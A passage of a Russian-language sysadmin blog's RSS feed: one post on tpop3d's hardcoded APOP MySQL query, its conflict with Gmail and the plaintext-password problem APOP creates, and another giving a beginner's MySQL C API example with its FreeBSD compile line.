Dec 29 13:26:57 aspu tpop3d[84134]: connection_do: client `[6]172.16.5.77/aspu.ru': username `test3': 1 authentication failures</code><br />
Откуда он берет таблицу popbox?? В данной ситуации очень сильно помогает изучение tpop3d.conf на предмет APOP либо man tpop3d.conf на предмет тогоже. Тем не менее, таблица popbox нигде не всплыла, самое интересное, возможности отключение APOP тоже нет (явно не RFC compliance продукт).</p>
<p>А строка APOP-запроса после изучения исходников продукта оказалась &#8220;вшитой&#8221; (hardcoded), что вообще меня поразило.<br />
У меня в конфиге определено<br />
<code>## MySQL authentication options<br />
# auth-mysql-enable: (yes | true)<br />
# Enable MySQL authentication.<br />
auth-mysql-enable: true</code><br />
далее следуют реквизиты подключения к БД. Затем<br />
<code># auth-mysql-pass-query: substitution string<br />
# Query template to use for USER/PASS authentication.<br />
# Return mailpath, password, userid, mailspool type<br />
auth-mysql-pass-query: SELECT CONCAT('/var/mail/virtual/', maildir), CONCAT('{crypt_md5}', password), 1001, 'bsd' from mailbox where username='$(user)'<br />
# auth-mysql-apop-query: substitution string<br />
# Query template to use for APOP authentication.<br />
# See auth-mysql-pass-query</code><br />
То есть всё что имеет отношение к APOP оставлено по умолчанию за неимением возможности отключения. Ну и логично было обнаружить код в auth_mysql.c:<br />
<code>char *apop_query_template =<br />
"SELECT concat(domain.path, '/', popbox.mbox_name), popbox.password_hash, "<br />
"domain.unix_user, 'bsd' "<br />
"FROM popbox, domain "<br />
"WHERE popbox.local_part = '$(local_part)' "<br />
"AND popbox.domain_name = '$(domain)' "<br />
"AND popbox.domain_name = domain.domain_name";</code><br />
В общем-то, на первый взгляд ничего страшного, ведь запрос можно уточнить. Подводный камень в том, что при APOP-аутентификации пароль передается в виде MD5 хеша. При этом в качестве исходной строки используется не просто пароль, а временная метка, конкатенированная с паролем пользователя. Временная метка &#8211; это то что сервер выдает в угловых скобках при соединении, на самом деле при рассмотрении она не совсем временная, но это другая тема. То есть, аутентификация через APOP выглядит как<br />
<code>APOP name digest</code>, где<br />
name = имя пользователя = username<br />
digest = MD5(timestamp.password) = MD5 (d9af0351d82dd480983b95b03e474599.pa$$w0red) = 89882ca98ea9a062be93a0b8c5415057<br />
Вроде всё прозрачно. А вот как сервер должен сравнивать полученный digest со значением в базе?? Единственный вариант, в базе пароль пользователя должен храниться в plaintext-виде. На мой взгляд это великое зло. С одной стороны, мы повышаем безопасность при передаче пароля по сети, с другой, храним пароли в открытом виде на сервере.<br />
При этом существует POP3 over SSL, который работает по 995 порту. И по сети идет в зашифрованном виде, и в базе можно хранить только хеши, и APOP не нужен, и в Gmail на такой случай _отдельная_ галочка.</p>
<p>В моем случае у меня в базе хеши (Unix MD5, не путать с простым MD5). Для POP3 over SSL необходимо отдельно собирать OpenSSL из портов имеющейся древнющей FreeBSD 5.2.1, что видится мне особым приключением. Поднимать APOP в масштабах 4 тысяч пользователей вообще не серьезно, но делать что-то нужно.</p>
<p>Для начала переопределил шаблон запроса. Для этого я ничего не пересобирал, а уточнил запрос в конфиге:<br />
<code>auth-mysql-apop-query: SELECT CONCAT('/var/mail/virtual/', maildir), CONCAT('{plaintext}', password), 1001, 'bsd' from mailbox where username='$(user)'</code><br />
К сожалению, я не имею возможности посмотреть лог соединения с Gmail (на самом деле имею, просто лень)) + в интерфейсе Gmail&#8217;а выводится абсолютно бредовое сообщение об ошибке. Заметку пишу постфактум, но там было что-то в духе &#8220;не удается связаться с сервером&#8221;, хотя связывается прекрасно (логи не обмануть). В любом случае, после проделанных действий картина изменилась в лучшую сторону. Gmail пробует по APOP, получает отлуп и пробует обычным plaintext. Почему для этого было необходимо поправить конфигурацию tpop3d мне не ясно.</p>
<p>Ну и случайно было обнаружено, что имеется возможность указать<br />
<code>auth-mysql-apop-query: none</code><br />
Вывод один, надо внедрять POP3 over SSL, но это уже на новой почтовой системе. На этой оптимистичной ноте блог, с одной стороны, выходит из осенне-зимней спячки, а с другой, уходит на праздники =)) Всех с наступающим!!</p>
]]></content:encoded>
			<wfw:commentRss>/mail-system/v-pochtovoj-sluzhbe-gmail-by-google-izmenen-algoritm-zabora-soobshhenij-so-storonnix-pochtovyx-serverov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Применение MySQL C API</title>
		<link>/codebear/primenenie-mysql-c-api/</link>
		<comments>/codebear/primenenie-mysql-c-api/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 23:14:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Code Bear]]></category>

		<guid isPermaLink="false">/?p=103</guid>
		<description><![CDATA[За что я люблю OpenSource? За открытость, за прозрачность, которые определяются только моими собственными знаниями и квалификацией. Устранение разного рода недугов свободного открытого программного обеспечения в моих руках.
Нашел я одну программу, её назначение не принципиально &#8211; мечта заказчика!! Но вот одно лишь не подходит по ТЗ.. логи пишет в файл, а нужно в базу. Программу [...]]]></description>
			<content:encoded><![CDATA[<p>За что я люблю OpenSource? За открытость, за прозрачность, которые определяются только моими собственными знаниями и квалификацией. Устранение разного рода недугов свободного открытого программного обеспечения в моих руках.<br />
Нашел я одну программу, её назначение не принципиально &#8211; мечта заказчика!! Но вот одно лишь не подходит по ТЗ.. логи пишет в файл, а нужно в базу. Программу собирал из исходников, скачанных с официального сайта в виде тарбола. Проглядел исходники нашел функцию записи сообщения в файл &#8211; осталось переписать функцию на запись того же сообщения в базу и пересобрать программу. Наверное, для рядового Windows-пользователя ход моих мыслей напоминает проектирование Лунохода =))<br />
Недолгий поиск наталкивает меня на MySQL C API, о существовании которого я даже не подозревал. Дальше просто выложу рабочий пример со строкой компиляции, многим новичкам сэкономит массу времени.</p>
<p><span id="more-103"></span></p>
<p><code># uname -a<br />
FreeBSD newaspu.ru 6.2-RELEASE FreeBSD 6.2-RELEASE #1: Tue Nov 27 17:28:53 VOLT 2007     root@aspu.ru:/usr/obj/usr/src/sys/MYKERNEL  i386<br />
# pkg_info | grep mysql<br />
mysql-client-5.0.67_1 Multithreaded SQL database (client)<br />
mysql-scripts-5.0.67_1 Multithreaded SQL database (scripts)<br />
mysql-server-5.0.67_1 Multithreaded SQL database (server)<br />
p5-DBD-mysql50-4.006 MySQL 5.0 driver for the Perl5 Database Interface (DBI)<br />
php5-mysql-5.2.6_2  The mysql shared extension for php<br />
php5-mysqli-5.2.6_2 The mysqli shared extension for php<br />
php5-pdo_mysql-5.2.6_2 The pdo_mysql shared extension for php<br />
# cat /home/dronga/C_practice/mysql/test_WORK_c.c<br />
#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include "/usr/local/include/mysql/mysql.h"<br />
MYSQL mysql;<br />
MYSQL_RES *res;<br />
MYSQL_ROW row;<br />
void exiterr(int exitcode)<br />
{<br />
fprintf(stderr, "%s\n", mysql_error(&amp;mysql));<br />
exit(exitcode);<br />
}</p>
<p>int main()<br />
{<br />
uint i = 0;</p>
<p>mysql_init(&amp;mysql);<br />
mysql_options(&amp;mysql,MYSQL_READ_DEFAULT_GROUP,"client");<br />
if (!mysql_real_connect(&amp;mysql,"localhost","admin","P@$$0red","test",0,NULL,0))<br />
{<br />
fprintf(stderr, "Failed to connect to database: Error: %s\n",<br />
mysql_error(&amp;mysql));<br />
}</p>
<p>if (mysql_query(&amp;mysql,"SELECT * FROM `testtable`"))<br />
exiterr(3);<br />
if (!(res = mysql_store_result(&amp;mysql)))<br />
exiterr(4);<br />
while((row = mysql_fetch_row(res))) {<br />
for (i=0 ; i &lt; mysql_num_fields(res); i++)<br />
printf("%s\n",row[i]);<br />
}<br />
if (!mysql_eof(res))<br />
exiterr(5);<br />
mysql_free_result(res);<br />
mysql_close(&amp;mysql);<br />
}<br />
#cc -I/usr/local/include/mysql -L/usr/local/lib/mysql test_WORK_c.c -o myapp -lm -lmysqlclient<br />
#./myapp<br /></code></p>
<p>Дальше это дело легко мигрировало в исходники нужной программулины и после компиляции сделало всех счастливыми =) Надеюсь и вам поможет!</p>
]]></content:encoded>
			<wfw:commentRss>/codebear/primenenie-mysql-c-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 1.062 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-07-10 00:47:39 --></body>
